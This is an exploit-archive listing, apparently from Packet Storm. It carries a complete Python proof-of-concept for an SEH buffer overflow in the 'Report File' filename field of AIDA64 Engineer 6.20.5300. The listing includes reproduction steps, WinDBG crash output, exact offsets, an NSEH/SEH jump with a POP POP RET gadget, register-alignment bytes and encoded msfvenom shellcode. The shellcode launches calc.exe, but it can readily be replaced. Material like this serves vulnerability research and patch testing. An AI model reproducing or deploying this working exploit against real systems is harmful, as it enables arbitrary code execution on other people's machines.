what you don't know can hurt you

AIDA64 Engineer 6.20.5300 Buffer Overflow

AIDA64 Engineer 6.20.5300 Buffer Overflow
Posted Apr 2, 2020
Authored by Hodorsec

AIDA64 Engineer version 6.20.5300 Report File filename SEH buffer overflow exploit.

tags | exploit, overflow
MD5 | 6590017886deb392714463804d9171f6

AIDA64 Engineer 6.20.5300 Buffer Overflow

Change Mirror Download
# Exploit Title:    AIDA64 Engineer - 'Report File' filename Buffer Overflow (SEH)
# Date: 2020-04-02
# Exploit Author: Hodorsec
# Version: v6.20.5300
# Software Link: http://download.aida64.com/aida64engineer620.exe
# Vendor Homepage: https://www.aida64.com/products/aida64-engineer
# Tested on: Win7 x86 SP1 - Build 7601

# Description:
# - Exploits the "Report File" buffer when sending an e-mail report via the Report wizard. Entering an overly long string, results in a crash which overwrites SEH.

# Reproduction:
# - Use indicated OS or manipulate settings: your mileage may vary due to different offsets on other Windows versions / SP's.
# - Run the script, a TXT file will be generated
# - On the Windows machine, open the TXT file in Wordpad. Copy the contents to clipboard (ctrl+c)
# - Open AIDA64 Engineer
# - First, click on "File", "Preferences"
# - Click menu "Report", "Report File"
# - Enter a long string in the field "File name"
# - Set "File extension" to automatic, as by default
# - Click OK
# - Second, in the main menu, click "Report" which shows the "Report Wizard"
# - Next, "System Summary only", next, "Plain Text", Finish
# - Click the button "Send In E-mail"
# - Check results

# WinDBG initial crash output using only A's:
# (994.998): Access violation - code c0000005 (!!! second chance !!!)
# eax=03ac1048 ebx=03ac100c ecx=03ac109c edx=77f070f4 esi=03ac1140 edi=00000000
# eip=77f133a8 esp=03ac0fc8 ebp=03ac1000 iopl=0 nv up ei pl nz ac po nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
# ntdll!RtlAcquireSRWLockShared+0x1a:
# 77f133a8 8365f400 and dword ptr [ebp-0Ch],0 ss:0023:03ac0ff4=????????

#!/usr/bin/python
import sys,struct

filename = "aida64_engineer_poc.txt"

# Maximum length
maxlen = 5000

# Shellcode, using alphanum chars due to bytes considered to be bad above \x7f
# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f c -b '\x00\x0a\x0d' bufferregister=eax
# Payload size: 440 bytes
shellcode = (
"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x49\x78\x6d\x52\x33\x30"
"\x45\x50\x45\x50\x53\x50\x6b\x39\x6d\x35\x36\x51\x49\x50\x43"
"\x54\x6e\x6b\x52\x70\x54\x70\x6c\x4b\x51\x42\x66\x6c\x4c\x4b"
"\x62\x72\x52\x34\x6e\x6b\x54\x32\x46\x48\x54\x4f\x6d\x67\x52"
"\x6a\x57\x56\x36\x51\x6b\x4f\x4e\x4c\x47\x4c\x31\x71\x71\x6c"
"\x53\x32\x36\x4c\x37\x50\x5a\x61\x6a\x6f\x54\x4d\x77\x71\x5a"
"\x67\x7a\x42\x38\x72\x70\x52\x46\x37\x4e\x6b\x53\x62\x52\x30"
"\x6c\x4b\x52\x6a\x47\x4c\x4c\x4b\x50\x4c\x67\x61\x51\x68\x78"
"\x63\x43\x78\x56\x61\x4a\x71\x53\x61\x6c\x4b\x33\x69\x55\x70"
"\x37\x71\x6a\x73\x4c\x4b\x43\x79\x72\x38\x49\x73\x46\x5a\x32"
"\x69\x4c\x4b\x44\x74\x6e\x6b\x67\x71\x58\x56\x54\x71\x6b\x4f"
"\x6e\x4c\x49\x51\x78\x4f\x44\x4d\x63\x31\x68\x47\x30\x38\x79"
"\x70\x30\x75\x68\x76\x43\x33\x51\x6d\x69\x68\x75\x6b\x61\x6d"
"\x74\x64\x44\x35\x78\x64\x52\x78\x6c\x4b\x73\x68\x74\x64\x57"
"\x71\x68\x53\x31\x76\x4c\x4b\x46\x6c\x32\x6b\x6e\x6b\x76\x38"
"\x47\x6c\x43\x31\x6b\x63\x6c\x4b\x33\x34\x6e\x6b\x46\x61\x38"
"\x50\x4c\x49\x77\x34\x31\x34\x61\x34\x43\x6b\x71\x4b\x53\x51"
"\x42\x79\x33\x6a\x62\x71\x6b\x4f\x4b\x50\x53\x6f\x61\x4f\x52"
"\x7a\x4c\x4b\x62\x32\x68\x6b\x6c\x4d\x33\x6d\x51\x7a\x37\x71"
"\x4e\x6d\x4d\x55\x38\x32\x75\x50\x77\x70\x63\x30\x50\x50\x55"
"\x38\x66\x51\x6e\x6b\x62\x4f\x6c\x47\x39\x6f\x59\x45\x4f\x4b"
"\x78\x70\x58\x35\x49\x32\x52\x76\x53\x58\x4c\x66\x6c\x55\x6d"
"\x6d\x4d\x4d\x79\x6f\x59\x45\x65\x6c\x46\x66\x51\x6c\x64\x4a"
"\x4f\x70\x39\x6b\x59\x70\x64\x35\x47\x75\x6d\x6b\x73\x77\x66"
"\x73\x42\x52\x42\x4f\x62\x4a\x75\x50\x31\x43\x59\x6f\x5a\x75"
"\x51\x73\x33\x51\x62\x4c\x55\x33\x46\x4e\x70\x65\x70\x78\x53"
"\x55\x65\x50\x41\x41"
)

# Align the registers
# ESI = 04aaefc0, Buffer = 04abfb6c. Buffer - ESI = 0x010b8d
align_eax = (
"\x56" # PUSH ESI
"\x58" # POP EAX
"\x66\x05\x3f\x10" # ADD AX,0x103f # EAX = 0x04aaffff
"\x40" # INC EAX # EAX = 0x04ab0000
"\x66\x05\x01\x7F" # ADD AX,0x7f01 # EAX = 0x04ab7f01
"\x66\x05\x6b\x7c" # ADD AX,0x7c6b # EAX = 0x04abfb6c
"\x50" # PUSH EAX
)

# Offsets
crash_ebp = 307
crash_esi = 1583
crash_seh = 319
crash_nseh = crash_seh - 4

# Variables
ascii_nop = "\x47" # Doesn't do anything particular for this program
nops = ascii_nop * 32 # ASCII NOP's amount

# Prefix
prefix = "A" * crash_nseh
nseh = "\x71\x06\x70\x04" # JNO SHORT # JO SHORT # Jump over NSEH/SEH
seh = struct.pack("<L", 0x0121076e) # POP POP RET # aida64.exe
suffix = align_eax # Align registers to execute shellcode
suffix += nops # Some ASCII friendly NOP's
suffix += shellcode # Magic!
suffix += "D" * (maxlen - len(prefix + nseh + seh + suffix)) # Filler

# Concatenate string for payload
payload = prefix + nseh + seh + suffix # Put it all together

try:
file = open(filename,"wb")
file.write(payload)
file.close()
print "[+] File " + filename + " with size " + str(len(payload)) + " created successfully"
except:
print "[!] Error creating file!"
sys.exit(0)


Login or Register to add favorites

File Archive:

September 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    20 Files
  • 2
    Sep 2nd
    15 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    4 Files
  • 5
    Sep 5th
    1 Files
  • 6
    Sep 6th
    1 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    27 Files
  • 9
    Sep 9th
    7 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    9 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    25 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    15 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    12 Files
  • 19
    Sep 19th
    1 Files
  • 20
    Sep 20th
    1 Files
  • 21
    Sep 21st
    15 Files
  • 22
    Sep 22nd
    21 Files
  • 23
    Sep 23rd
    8 Files
  • 24
    Sep 24th
    15 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close